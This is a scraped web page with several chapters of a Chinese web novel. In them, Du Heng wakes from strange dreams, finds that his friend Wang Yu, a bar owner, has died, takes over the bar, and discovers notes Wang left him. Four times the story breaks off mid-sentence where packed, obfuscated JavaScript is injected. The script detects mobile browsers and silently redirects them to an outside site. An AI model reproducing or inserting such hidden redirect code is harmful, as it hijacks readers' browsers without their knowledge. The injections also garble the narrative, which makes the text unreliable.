凌晨三点半了,杜鸻还在搞头脑风暴。他越想脑子越疼,干脆算了,随便收拾了一下自己就回床上去睡。 他的电脑还没关,屏幕亮着,鼠标点在他刚才看过的那个内容旁边。 枕头下放着大师给的香包,杜鸻没有做梦。清晨的时候他听见了一点动静,刚睁眼就看见一个模糊的身影坐在他的椅子上,好像在看他搜索过的网页。 不是周末,他没回家,现在他就在自己的出租屋里。他这屋从来没带别人来过,就连他爸妈都没有这里的钥匙,还有谁能来? “你谁?”杜鸻想起来,使劲儿了半天却发现自己根本没法调动身体。他猛地清醒,怀疑自己是不是被鬼压床了。 听说鬼压床的时候就是人动不了但是脑子非常清醒,至于得怎么醒才行,他也不知道。 椅子上的人半转过身。 杜鸻吃惊地看着椅子上的人。一模一样的脸,和那天一模一样的衣服,是他自己! 不,不对,准确来说应该是那天他在梦里看到的自己。他在楼下,看着另一个自己从楼上下来。他刚喊,人跑了。他追上去发现他的房间连门都没开,更不可能有人。 那个自己凭空消失了。 当时是在做梦,那现在呢? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15052245|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“啧,怎么这么蠢啊?”另一个自己走到床边蹲下看他,“在我家待了这么久也该够了吧?还不舍得走啊?” 杜鸻听见自己说:“什么你家,这是我家!你对我做什么了?我这是在做梦是吧?这是我的梦,你从我梦里滚出去!” 另一个自己朝他摊手,“自己的梦自己醒啊。我说了这是我家。你已经算是鸠占鹊巢了朋友。” 杜鸻蹙眉用力,他还是没能起来,“你对我做了什么?” 另一个自己无辜地看着他,“什么都没做。都说了这里是我家,你赶紧走。再不走你就走不了了信不信?” 杜鸻大声,“胡说八道!” “行,有本事你继续睡。”另一个自己坐回到电脑桌前,戴上耳机打开游戏,只留给他一个冷漠的背影。 杜鸻动不了,只是因为他侧身睡的所以正好能看着另一个他霸占自己的电脑,戴着自己的耳机,玩着花了自己钱的游戏。他本以为自己会一直清醒,直到他能操控自己的身体,可他只是听了键盘和鼠标的“哒哒”声没一会儿,意识变得沉重,实现也开始模糊。 他又睡着了。 这次他是真的做了梦。 他感觉自己飘在空中,没有一个能着力的支点。他飘了一会儿之后发现自己好像都快顶到天花板了。他下意识用手撑住,没想到还真的固定住了随处乱飘的身体。 他四处打量了一下,发现自己在出租屋的客厅。 也是奇了怪了,他很少会在梦里梦到这个出租屋。 他不知道梦里的自己飘着是为什么,又将要在客厅里干什么。直到他看见了在沙发上睡得四仰八叉的自己。 他什么时候睡这儿的? 他不是在床上么? “再不走你就走不了了信不信?” 熟悉的声音倏地在耳边响起,杜鸻猛地回头去看。他什么都没看到,只觉得一道引力从自己的背后传来。 眨眼之间,他重重地朝着沙发上的自己砸了下去。 他被砸进了自己的身体里。 杜鸻动了动,重如千金的眼皮好不容易拉开后又合上,连带着脑子都是一团浆糊。他恍惚感觉到自己的意识在抽离,意识往前他的身体往后,像是不受控制地下坠。 “喂!” 一个声音在耳边炸开,他又猛地醒了过来。意识砸回身体的感觉无比清晰,全然不是他的错觉。 这么来回地折腾了几次后,杜鸻不敢睡了。他总觉得这一觉睡下去怕是真的看不到明天的太阳了。 他挣扎着从沙发上起来,若有若无的酒气从衣领上飘来,他才隐约想起自己好像喝了酒。 喝了酒? 不对啊,望老板都没了,他去哪儿喝的酒? 窗没关,窗帘也没拉上。带着寒气的冷风从窗户吹进来,吹起了杜鸻一身的鸡皮疙瘩。 “我没关窗吗?” 他明明记得自己关了,在回来取云大师给他的那个香包的时候关的。 他眯着眼睛去回想更多的细节,发现自己只能记得一些零星的片段,再多的都想不起来了。他只有做梦的时候会这样。 所以那些冗长的、他现在想不起来的,但是仿佛他真的亲历过一遍的只是他的梦吗? 他弯腰捡起已经掉在地上的手机,看了眼上面的日期。 五月八日,星期天。 06:00 22.第 22 章 杜鸻看到手机上有好几个未接来电,阳总的,马组长的,严潘的,还有几个是他那个小徒弟的。他一个都没回,上微信看了眼。不看不知道,一看才发现出事儿了。 严潘和他那小徒弟估计昨晚在一块,发的信息大差不大,说的是望老板突然没了的事。这个事情他昨天……昨天就已经知道了,现在再从严潘和小徒弟的听见,还有点恍惚。 他随便对付着回了两句,转到了和阳总的对话框。 阳总给他发了消息,说的是胡总的事。阳总说胡总不懂事儿,因为一点小问题就来骚扰他,为了给他补偿,之前说好的项目会再多给他两个点。 先不说这个项目最后能赚多少钱,单纯是这多给的两个点就已经足够展现阳总的诚意了。 可惜,他没兴趣。 而且什么“之前说好的”,他什么时候跟阳总说好什么项目了? 扯淡。 随便敷衍完阳总,杜鸻又挑了几个信息回。回完之后,严潘的信息回过来了。大清早的,又是周末,也不知道严潘这是一晚上没睡还是真的刚醒。 【严潘:终于回消息了啊,我还以为你怎么了。对了,望哥的事儿,他哥们那边说的是愿意去搞追思的就去,不勉强。我打算去一趟,你去不去?】 【杜鸻:去。】 【严潘:行。追思会下午两点开,咱们中午先碰个面,一块吃点儿还是怎么的?】 【杜鸻:两点?今天两点?】 【严潘:啊。不然你以为哪天?】 【杜鸻:没有。中午的事儿再说吧,我再睡会。】 【严潘:不会到时候又打不通你电话吧?】 【杜鸻:不会。】 杜鸻放下手机,重新倒进沙发里。他疲惫地看着天花板,身上的衣服睡得乱七八糟的。他的脑子一片混乱,有时候是他和望老板喝酒聊天的场景;有时候是望老板教他调酒的场景;有时候是他醉醺醺地回来,在沙发上倒头就睡的场景;有时候…… 他的脑子里突然闪过一个画面——一个和他长得一模一样的人让他走,好像就是昨天的事! 杜鸻猛地从沙发上弹起来,惊疑不定地看着四周。等等,不对,那个人跟他说话的场景不是在他的出租屋,是在他家里,他住的那个阁楼上! 他又猛地想到了第一次梦到另一个自己的场景。 也是家里,也是阁楼! 这两件事有什么关联么? 手机闹铃突然响了,吓了杜鸻一个激灵。除非必要,他从来不会在周末的时候设置什么闹铃。见鬼了?! 他现在就跟惊弓之鸟似的,脑子里一团浆糊,有点什么动静都能把他吓得半死。闹铃上没有任何备注。他点开闹铃界面一看,发现这个闹钟设置的时间是“每天”,但昨天怎么就没响? 他神经病了才会在大周末的时候…… 不对。 他记得昨天早上才和孙勇去过阳总的会所,早上十点在家里小区见的,孙勇的车都还停在门口呢。所以他提前闹了铃…… 那他昨天后来不是去的望老板那学调酒么?望老板怎么就突然没了? 不对,不对。 一切都不对,所有时间都对不上! 杜鸻觉得自己的脑子快炸了。身上淡淡的酒气提醒着他前一天晚上确实喝过酒的事实。可他平时不喝酒,喝酒指定去的就是世外酒馆。难不成望老板是在他昨晚走了之后没的? 不应该啊。 怎么可能呢? 杜鸻越想越觉得不对劲,赶紧给严潘打电话。 严潘还在睡觉,接电话的时候声音听起来迷迷糊糊的,“喂?” 杜鸻:“望老板是什么时候没的?” 严潘那头沉默了几秒。 杜鸻耐着性子等。 “上个星期二还是星期三吧……反正不是这个星期的事儿,好像有一阵子了。”严潘的声音逐渐清晰,“你怎么突然问这个?” 杜鸻后背的衣服都快被冷汗浸透了。 上个星期的事。 那他昨天上哪儿去喝的酒?见的又是谁?!是他见鬼了还是他的记忆又出问题了?! 不可能,绝对不可能。 他衣服上的酒气都还在。他只可能是去望老板那喝的酒。 “杜鸻?喂?喂!不是,挂了还是睡着了?” “严潘,”杜鸻颤着声音,“我昨天,还见过望老板。” 严潘严肃的语气传过来,“不是,杜鸻,你别拿这事儿开玩笑啊。你要是脑子真有病没治好那你就赶紧去看病。拿望哥来开涮有意思么?” “我真……” 严潘不耐烦道:“行行行。你丫的做梦没睡醒呢吧?” 严潘的话像是当头一棒,狠狠地敲了他一下,也说不清是把他敲醒了还是把他敲懵了。总之他没再继续刚才的话题。 他捂着额头,自嘲地笑了一声,“抱歉。我是没睡醒。” “那你就再睡会儿。这话你跟我说说就算了,今天下午你可别当着其他人的面这么说。”严潘像是松了口气,“你这话闹的我都睡不着了。行了,就先这样吧,下午见。一会儿我把地址发给你。” 严潘发来的地址离世外酒馆很近,就在世外酒馆附近的一家酒店里。 杜鸻默默记住地址,洗澡去了。 五月天气渐热,但早上还是有点凉的。九十点的时候天渐热。 杜鸻穿着一件短袖体恤下楼吃早餐。他看着附近摆得满满当当的临时早餐店,突然有点不敢认。他看着这条不算熟悉的路继续往前走,走到尽头看到了那个熟悉的回收站,这才有一点他真的生活在这个世界里的实感。 他继续倒退着往回走,随便找了一家心仪的早餐店坐下。 老板热情招呼,“哟!起啦——还是老样子?” 杜鸻受宠若惊地看着老板,“老板,你认识我啊?” 老板“哎”了一声,“你这话说的,昨天不还在我这儿吃的吗?忘了?” “啊,是啊。”杜鸻心里惊疑不定,但是不好让老板看笑话,摆摆手说了一句“老样子”就让老板去做了。 老板很快把一笼蒸饺和一碗甜豆花端过来,“我看你精神不太好,是不是上班累的哦?” “是吧。”杜鸻深吸一口气,“昨晚没睡好,谢谢老板啊。多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114678|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱,我扫你。” 老板指了指不远处的二维码,“十块。不是,你平时不都吃这两样么,连价格都不记得了?” “最近太累了,有点恍惚。”杜鸻觉得一来一回说的这几句话就要把他的精气神耗空了,干脆主动结束了话题,“我一会还有事儿,先吃。你忙啊老板。” 老板也是个人精,哪里听不出来杜鸻是不愿意多聊了,说了句“那行”就去招呼其他人去了,只是期间多次往杜鸻这边看,都把杜鸻的胃口看没了。 不过杜鸻还是吃完了才走。 他几乎逃似地离开小区外的巷子,听不到巷子里热闹的招呼声才松了口气。 可没等他完全放松下来,熟悉中掺杂着陌生的街景让他觉得自己在做梦。他看着往来的车辆和人潮,顿时发觉自己与周围的一切都格格不入。 他好像只是一个外来者,周围的人、事、物都是陌生的,哪怕在这里还是能找到一点他曾经的生活轨迹,但那对于他来说没有一点真实感。 他好像回到了小学时的一次课间。 那天他和同学操场上玩,听到上课铃响后就争先恐后地往教学楼里跑。他原本冲在前面,却鬼使神差地停下来了,他没有缘由地突然向身后看,可身后什么也没有。 他缓慢地打量着楼道周围和教学楼外的活动区域,意识好像逐渐脱离了他的身体。他像是以第三方的视角打量周围的一切,甚至他自己。 他对当时的感受记得真真切切,或许当时的他没法真的以上帝视角看见自己的样子,可现在回想起来,他甚至能看到当年站在楼梯上茫然地打量这个突然变得陌生的世界的自己。 清晰无比。 恍若一场梦,可又真实地存在在他的记忆深处,到现在都没有一点点模糊。 “帅哥,让一下。” 一个路人的声音让他回神。 那些突然被隔绝在外的声音如潮水一般涌回来,一滴不漏地砸进他的身体里。 “抱歉。”他让开了一条道,整个世界又重新变得鲜活。 他掐了自己一把,疼的。说明他身处的现在是个真实的世界。可记忆还是对不上。但不知道是不是有了小时候的那段经历做铺垫,他现在的情绪稳定了很多。 记忆对不上就对不上吧,又不是一回两回了。 他沿着街道走,过了马路,走向不远处的办公大楼。他站在楼下往上看,楼是熟悉的楼,没什么问题。他又继续往前走,走过街心公园,走向世外酒馆。 他老远就看见了世外酒馆的牌子。第一次来的时候觉得很不起眼,现在他却能第一时间看到那个牌子,像是独立于世界之外。 毫不意外,酒馆大门紧闭。从锁上的痕迹来看,也确实有一段时间没开了。一个老大叔突然走过来,手里拿着一张白色的A4纸,绕过他,“啪”地一下把纸贴在卷帘门上。 [旺铺招租,有意联系] 下面是房东的联系方式。 “叔,等等。”杜鸻叫住老大叔,“您是房东吗?” 老大叔打量了个杜鸻一下,“你要租啊?” 杜鸻点头,“我想租,您这怎么个租法?” 23.第 23 章 老大叔很爽快,给了杜鸻一个市场最低价,还给杜鸻免了半年的房租。杜鸻没想到自己能捡到这么大个便宜,仔细问了才知道当初望老板租的不仅仅是这个铺子,连带着大叔自己的房子也租了。 望老板的死老大叔知道,怕下一个租的人觉得晦气,才免了半年的房租来吸引人。 “小伙子,我那个房子你要不要租啊?也给你免半年房租,租金减半。” 杜鸻拒绝了,他不是租不起,只是没必要。 从老大叔那拿到了钥匙后,杜鸻直接开门进了酒馆。 酒馆里出了一点潮湿和不通风的闷闷的气味外,并没有什么难闻的味道,甚至还带了一点酒香。他把灯打开,空荡荡的酒馆原貌就完全暴露出来。 椅子都反扣在桌面上,卡座里的桌椅都盖上了防尘布。防尘布的颜色都很特别,除了黑与白,什么颜色的都有,和这个酒馆本身的主色调格格不入,但看久了又能自洽出一点和谐的感觉来。 地面已经拖过了,吧台上的东西也都放得整整齐齐。他不知道这是不是望老板一直以来的习惯,打烊之后都习惯性地先把店里的卫生都打扫干净再走。 杜鸻走到吧台后,他曾在这儿待过很短的一段时间,满打满算就一天,除了学着调抽丝和破茧的时候用了一些工具,他其实连后面酒柜上到底放着什么牌子的酒都不清楚。 但他现在有机会慢慢看了。 他一瓶一瓶地看过去,脑子里时不时会出现望老板随手选酒的样子。这里的每一瓶都是按照望老板的习惯摆放的,标签总是偏向左侧,因为望老板尤其喜欢站在酒柜的左侧,而且侧身拿酒的时候也总是把左半身侧回去。 杜鸻又去了后厨。 这是他没有涉猎过的领地。 后厨也有一道门,锁的钥匙也在房东给的那串钥匙里。他开门进去,发现狭小的厨房里其实没有多少厨具,甚至只有一个冰柜。冰柜已经没通电了,里面什么东西都没有。他把冰柜打开,甚至能闻到一股淡淡的消毒水味儿。 望老板又清理过了。 不知道为什么,杜鸻心里出现了一个不太确定的猜测,望老板在离开的前一天好想知道自己要走,提前把除了酒水之外的所有事物都撤掉,以免他不在的这段时间里,没有人管理这个酒吧的时间里,这里会因为食物的腐烂发酵而变得糟糕,给后面会过来的任何一个人添麻烦。 现在,整个世外酒馆里,除了酒柜上的酒、吧台下面操作台上的所有调酒器、那些被盖好了防尘布的沙发桌椅之外,好像没有什么东西能够证明望老板曾经在这里待了十年。 哪怕随便换一个人过来,只要站在这个吧台后面,花一个早上的时间记住酒柜上的酒水排序,又或者按照自己的习惯重新排序,就可以成为新的世外酒馆老板,轻易地把上一个人的痕迹抹去。 杜鸻坐在吧台后面,目光仔细地扫过那排调酒器,突然在最里面的位置——放雪克杯的位置,看见了一个小本子。 他把本子取出来,这是一本已经被翻过了好多次的手札,内页都已经有些卷曲和磨损了,但是上面的字迹还是很清晰。 最中间的位置夹着一张纸条。 杜鸻突然心跳得有点快。 他把纸条展开,看见了自己的名字。 望老板的字很好看,像他这个人,透彻、自由。 望老板给他留了一封信。 杜鸻: 展信佳。 这不算信吧应该,反正我没当信来写,但觉得没有“展信佳”这几个字挺奇怪的。将就看吧,纸太小了,再废话下去就没地方写正事儿了。(哎,我又啰嗦了一句) 我其实没指望着你真的能看到这张纸条,毕竟我没有预言能力,但是呢,从见你的第一面开始我就觉得你跟我有缘分,咱俩属于同一种人。咱们身上都有类似的秘密,只有我俩能互相理解,别人不行,会觉得咱们有病。 我知道你这么聪明肯定能明白我说的意思,所以,如果你真的能看到这张纸条,那估计在另一个平行世界里的我会乐得笑出来。“平行世界”这个概念对不对的就不去纠结了,反正就这么个意思。可能到那个时候我已经不记得你了,但是问题不大,能在这儿遇到你我觉得就是一件挺漂亮的事儿,我的人生值了。 我的酒馆留给你了啊,这是真的,反正我跟我一个最好的哥们交代过了,如果我不在了的话,这个酒馆就给你了。你能看到这个估计钥匙啊房租什么的都已经搞定了,酒柜里的酒都给你继承,本子里写的都是我的独门配方,你自己学了啊。 这酒馆以后你开不开,变成啥样我也管不着,无所谓,毕竟我没给你留钱。不说了,再说下去我都能轻轻松松达成800字小作文成就了。 啊,对,最后有句话要送给你。 “人生短短三万天,___________” 后半句你自己填吧。 有缘再见! 望遇 XXXX年3月XX日(你懂的) 看到最后的落款时间,杜鸻捏着纸条的手倏地收紧。 三月,不是五月。 三月,是三月。 从早上就缠绕在他心口的迷雾瞬间消散。 他没记错,他的记忆没问题,他的感知也没问题。 只有望老板懂他。 只有望遇。 不知不觉间,杜鸻抱着那本手札和那张望老板唯一留下的字条,泪流满面。 他坐不住了,在酒吧里逛来走去,时不时笑两声,笑完了又哭,哭着哭着又觉得无比惋惜和难过,但又庆幸他有生之年能认识望老板。 心里是真正的百味杂陈,各种情绪几乎把他撕成碎片。 但他甘愿沉迷其中。 下午去参加望老板的追思会前,他把酒馆仔仔细细地重新打扫了一遍。他没有在这里做餐品的打算,所以厨房里的东西都没动,电都没通,门也重新锁上了。 他把椅子放下来,决定从今晚开始就营业,可惜他只会调抽丝和破茧,而且都还不是很成熟,希望望老板留下来的老顾客不会嫌弃他才好。 下午,某酒店的会议厅。 说是望老板的追思会,其实就是望老板的朋友以及酒馆的一些老顾客的小聚,大家聚在一起聊一聊和望老板是怎么认识的,对望老板这个人的看法和对他的想念。 杜鸻全程没怎么开口,就连严潘都去找其他人多聊了几句。 杜鸻自己坐在角落里喝酒。这里没有窗户,更看不到酒店外面的情况。但是没所谓,现在他的脑子里都还是望老板留给他的那张字条。短短不过五百来字,给他的冲击却堪比彗星撞地球。 冲击真的太大了。 这是他和望老板之间的秘密,只是他们俩之间的秘密。 “杜鸻?” 一个男人端着酒杯朝他走来。 杜鸻看过去,“是。你是?” “阿遇的朋友。”男人主动跟杜鸻碰了一杯,“他给我看过你的照片。也跟我说过那个酒馆后面的经营权的事儿。” 杜鸻点点头。 男人没从他的脸上看到意外的神情,反倒是自己惊讶了,“你已经去过酒馆了?” “对,”杜鸻有点不好意思,“我今天去的时候刚好看到房东在贴招租信息,我就顺便问了问。没考虑到其他的事……” “没事,反正阿遇说过了,那个酒馆以后就交给你经营了。营业执照原件什么的都在我这,委托书也在我这,那之后找个时间去改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123005|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负责人吧,改到你名下。” 男人不说,杜鸻都忘了还有营业执照这回事。这不是普通的转让,望老板已经没了,营业执照上面的负责人改起来也不知道会不会比较麻烦,更何况望老板还有家人。 “那望老板的家里边……” “放心吧,”男人给了他一个安心的眼神,“阿遇走之前都已经全部交代好了。其实他家那边跟他的关系不太好,他也很早就写好了遗嘱,找律师做了公证,所以你不用担心。” 杜鸻点头,“好,那麻烦你了。” 男人笑了一下,“没什么麻烦的,都是阿遇的朋友。” “我敬你。”杜鸻跟男人碰了一杯,一饮而尽。 两人就在角落里聊天,聊望老板的之前。大部分都是男人在说,杜鸻在听。杜鸻虽然和望老板有一种相见恨晚的感觉,但满打满算下来认识望老板的时间真的不长,望老板有很多事他都不知道。 男人就说给他听。 听完之后,他觉得自己的人生和望老板的比起来真的……单调太多了。 “他之前就问过我一个问题,他问,如果一个人知道自己其实活不到真正的老去,会不会觉得遗憾或者是害怕?”男人放下酒杯,“我当时不知道他是什么意思,以为就是在跟我普通聊天而已。我说遗憾不遗憾的不知道,但是害怕肯定会吧。我跟他还有一个共同的朋友,以前是同学,走得比阿遇早很多。” 杜鸻有印象,“我听过那个人。” “他跟你说过啊,”男人又笑,“他跟你说的时候说什么了?” 杜鸻:“他说,他的朋友是在这个世界里死了,但是在另一个一模的世界里,没准死的是他,活的是他的朋友呢。” “他总是有这种奇奇怪怪的想法,”男人长叹一声,“不过我现在开始有点相信他说的了。他问我那个问题的时候估计已经知道自己是真的活不到老的时候吧。你知道他回答什么吗?” 杜鸻好奇,“什么啊?” “他说了好长一串。”男人蹙眉想了想,“……大概意思就是觉得遗憾是因为还有没有完成的事情,觉得活着的时间太短了。觉得害怕是因为在这个世界里有放不下的人。” 杜鸻点头,这话说得很有道理,他也赞同。 “他说他在这个世界里放不下的也就剩咱们这几个老朋友了,没了,说他知道就算他走了,我们也不会伤心太久,因为年轻,看得开。”男人一脸无奈,“你说他这说的是人话吗?把我们当什么了。” 杜鸻忍不住笑,又突然想起来这个场合的主题,赶紧收敛了。 男人倒是不介意,“没事,这话我自己说得都想笑。反正今天说是追思其实就是朋友之间聚聚。他早成骨灰了,就等着找个时间下葬了,严肃的后面再说。” 杜鸻这下是真笑不出来了。 那么活生生的一个人,是怎么变得生机全无,又是怎么变成一坛子的灰烬的? 他想不出来。 他甚至不知道,两个月前的他是死是活。他在这个世界活着,清醒着,是不是又已经在哪个一模一样的世界里死了呢? 他不知道。 男人撞了下他的胳膊,“他说‘有缘再见’,你信么?” “嗯?”杜鸻回神,慢半拍才回味过来男人说的是什么,“信。真信。没准另一个世界的我已经重新跟他做上朋友了。但是放心,取代不了你的位置。” 男人愣了愣,笑开了,“靠,他说你跟他像还真的是一点没错。我问个冒犯的啊,你不会也跟他一样吧?说走就走?跑哪个什么平行时空里去旅行?” “谁知道呢。”杜鸻学着那天望老板在楼梯上回答他时的语气,“开玩笑的,至少近十几年不会吧,我才刚开始呢。” 24.第 24 章 杜鸻当天晚上就把酒吧开起来了。 他特意没做宣传,也没在之前望老板建的那个酒吧客户群里发消息。一个是时间上面还不合适,另一个就是他其实还没有完全做好开店的准备。 租下这里完全是因为他的一时冲动,不过他并不后悔。 早租晚租都是要租的。 他记起来了一点,在“梦”里的时候他因为突然知道望老板的死讯而不知所措,好在有一个路过的大妈告诉他望老板这个酒吧的店面其实是租来的,他才动了这个念头。 早上他过来,正好碰上房东,那也算是天注定。 只是他现在手上会的只有两种,一是抽丝,一是破茧。就这两种他都还不是特别熟练。 他坐在吧台后翻着望老板留下来的那本手札,翻到最后一页,发现除了抽丝和破茧之外,所有的产品都有。 “……” 望老板这是忘了? 杜鸻正纳闷的时候,他把手札翻过来,发现手札的底部还有一个小兜子,兜子里边还有一张纸条。 他犹豫了两秒,把纸条拿出来。 这次的纸条真的又小又短,上面还是望老板那龙飞凤舞的字。 [是不是发现没有抽丝和破茧的配方?我故意没写的。那是你给我的灵感,版权该是咱俩一人一半,我自己写的不算。万一拿到这本手札的不是你,那你我岂不是白教了?] 杜鸻看着纸条,无奈地笑出声。 倒也没错。 难怪之前教他的时候那么认真,非得让他练到所有步骤都一个不错,几乎形成肌肉记忆了都。 他把手札放好,按照之前望老板教他的那样,先给自己做了一杯抽丝。 抽丝是他最先学的,也是上手最快的。 哪怕只学了一天,他也准确无误地复刻了当时望老板教他的那一杯。 他拿杯子的时候,看见了第三张纸条。 [重新回忆一下步骤,你确定东西真的没有加错吗?] 杜鸻有点不确定了。 由于他已经形成了特定的肌肉记忆,做抽丝用的原料放在什么地方他都很清楚,几乎是顺手就拿,还真的没特意看过瓶身标签写的什么。 他回头去找,还真发现了问题。 做抽丝用的那款调制酒和另一款长得很像,还是挨着放的。如果他没记错的话,这两款调制酒的位置被望老板换过了。 果然,当他把正确的那瓶酒拿下来的时候,看到了藏在瓶子后面的纸条。 [让我猜一下,你应该是去拿杯子的时候看到的纸条所以回来检查的吧?如果你发现了我特意把两种酒的位置调过了,那么恭喜你,其实你的记忆没有任何问题。该是你记忆里的东西那就是你记忆里的东西,没人能拿走。现在怎么样?有没有想要做一杯破茧的想法?] 杜鸻哑然失笑。 望老板真的是…… 他到底用了多少时间准备这些东西啊。 他把纸条收好,重新做了一杯破茧。 这次他都认真地看过了所有原料的名字,确定一定以及肯定自己没有再拿错。 也没有新的纸条了。 望老板的叮嘱戛然而止。 整个酒吧又重新安静下来。 这种感觉很奇怪。望老板纸条不断的时候,他觉得现在和望老板还在的时候没什么两样,突然没有纸条后,他又觉得不习惯,空落落的感觉涌上来,让他有点呼吸不过来。 他喝完了那杯破茧,也没让那杯用错了调制酒的抽丝浪费。 新的抽丝比原版的甜味更重,但因为有苦橙的中和,天而不腻,更适合受不了烈酒的小姑娘。 其实也不错。 喝完两杯酒,他把所有器皿杯子都拿去洗了。洗完晾干的时候,他看见了擦手巾旁边贴着的字条。 这张字条他一开始就看见了,但没仔细看,因为他以为这是望老板给自己做的什么提示,没想到是专门写给他的。 [没想到吧,又在这儿看到我了。在哪儿看到的?墙上还是地上?如果是地上的话我也不意外,甚至你把它丢垃圾桶里了我也不意外。如果没丢的话,那你听我说,那两瓶酒我是故意对调的没错,但是我也在赌,赌你不会因为酒不对就把那杯抽丝浪费了。其实那天发明抽丝的时候,我用的就是你今天用的这瓶酒,觉得太甜了不适合当时的你,差点意思,就重新做过了。哈,你肯定没发现。有时候灵感就是这么来的知道吧,不同的酒会带来口感上细微的差别,反正也能做个新品,你试试。] 他把纸条摘下来,发现背面还有一行字。 [是不是在想还能在哪儿看到字条?你猜啊。] “望老板你真的是……”杜鸻哭笑不得,心里却羡慕上了。这望老板到底是怎么长出这种有趣的灵魂的? 反正他比不了。 他把纸条折好揣兜里,简单地打扫了一下酒吧的卫生,锁门走了。 入夜后气温有点低,他今天出来后中途就没再回去过,到现在都还是一件短袖T恤。挺凉的,但他觉得裤子右边的兜儿里很热,甚至有点烫了,正好中和了他现在的温度感受。 他不知道这个世界上能有多少个人能遇到这样的事儿,会有这样的感觉。估计一百个里边能挑出一个来就是挺不容易的事儿了。 那是真的“百里挑一”。 他以前觉得遇到这种事儿挺操蛋的,特倒霉,否则他也不会那么着急忙慌地刚过完年就去约心理医生,又病急乱投医似地去找那个大师,请了个888的香包。 对,他还有一个888的香包。 他在沙发上醒来的,他都不知道自己把那个888的香包放哪儿了,又或者说他不知道自己是不是真的脑子有病,去请了一个888的香包。 但也不能说脑子有病,毕竟对待这种事情还是得有个敬畏心。 “啊,脑子好乱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132668|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”杜鸻突然感叹一句,又狠狠抓了一下自己的头发。 他回去的时间还不算太晚,路上还有刚聚完餐、逛完街回来的三三两两。 因为他突然自言自语,路人纷纷投来怪异的目光。 “喝醉了吧?” “快走快走。” “走走走别看了。” “你不觉得那个人其实挺帅的吗?” “你饿疯了吧?他没准那儿有问题……” “……”杜鸻听得清清楚楚,但他一点都不生气。 挺正常的他觉得,毕竟以前他在路上遇到像他这样的人也觉得挺害怕的,虽然没大大方方地说这些话,但也这么想过。 后半段路他就没“疯”了,正正常常地走路,连手机都没看。 回到家,回到唯一熟悉的地方,他彻底放松下来。他把兜里那些来自于望老板的纸条全都收好,之前腾空过一个盒子,现在用来装这些穿越时间的纸条正正好。 他又凭着自己的肌肉记忆把那个888的香包拿出来,找个不太起眼的地方供上了。他觉得不仅是今天,未来的每一天他都不再需要这个香包了。 至于花掉的那888,就当是……给自己积攒福报吧。 睡觉前,他处理了一下手机上的信息,没多少,连客户都知道他周末一般不工作,没来打扰。 处理的最后一条信息是严潘的。 【严潘:不儿,今天你怎么自己先走了?连个招呼都不打,吓我一跳。】 【严潘:你没事儿吧?哎哎哎!】 【严潘:我承认我今天对你是有点大声,我现在给你道歉了成不成?我主要是太急了,觉得……唉,反正我错了。今儿你要是不理我,我明儿就给你订束花到公司去,算是赔罪。】 杜鸻看到这,赶紧回了个“别”。 严潘的信息还没看完。 【严潘:小道消息啊!我今晚听圈子里的人说的,说老马完了,具体的什么不清楚,反正听说完蛋了,明儿你看他来不来公司就知道了。】 马组长完了? 什么意思? 是他想的那样么? 【严潘:我靠,你终于回消息了啊?我刚差点儿就去下单订花了。你干嘛去了?信息也不看呐,我听你小徒弟说你也没回他消息。】 【杜鸻:临时有点事。老马的消息是真的么?】 【严潘:不知道啊,反正听人这么说的,总不能是空穴来风吧?反正我之前就觉得老马这个人得翻车,现在好了,真翻车了,笑死。】 杜鸻没说话。 【严潘:悄悄问一句啊。老马真要出事的话,阳总那边不会有什么问题吧?】 杜鸻深吸一口气,一时间也不知道这话怎么回。 有问题是肯定的。 就凭之前阳总在合同上那样坑他,就干净不了,出事儿是早晚的。 【杜鸻:不知道,说不好,再看吧。】